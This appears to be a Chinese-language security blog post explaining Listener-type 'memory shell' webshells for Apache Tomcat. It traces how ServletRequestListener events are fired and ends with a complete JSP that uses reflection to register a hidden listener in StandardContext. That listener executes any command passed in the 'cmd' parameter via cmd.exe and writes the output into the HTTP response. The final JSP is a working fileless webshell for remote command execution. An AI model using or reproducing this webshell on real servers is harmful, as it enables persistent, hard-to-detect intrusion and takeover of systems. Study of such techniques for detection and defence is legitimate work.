前言
上次总结了Java内存马的Filter类型。今天来总结下Listen类型
我们知道监听器的过程:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面,其中最适合作为Webshell的要数ServletRequestListener,因为我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。
Listener的实现和类型
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。
我们发现原生的EventListener有好多继承接口
我们看一下ServletRequestListener
ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。
在StandardHostValve
调用context.fireRequestInitEvent(request.getRequest())
,进而调用ServletRequestListener
然后我们跟进fireRequestInitEvent
这里生成了ServletRequestListener
对象,遍历调用listener.requestInitialized(event);
这里的requestInitialized(event);
就是我们上面ServletRequestListener
接口实现的方法
经过上面的分析,只要Tomcat执行到StandardHostValve#invoke()
时,获取存储在StandardContext.ApplicationEventListeners中的监听器,并遍历调用listener#requestInitialized()
那注入listener马,我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能,然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。
简单实现一下Listener
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("initial TestListener");
}
}
在web.xml中
<listener>
<listener-class>listener.TestListener</listener-class>
</listener>
从这里可以看到调用栈。就是我们刚才分析的过程。
我们看一下如何添加listener
所以如何添加listener,可以看到在StandardContext#addApplicationEventListener添加了
因此我们不难想到通过反射调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener
内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>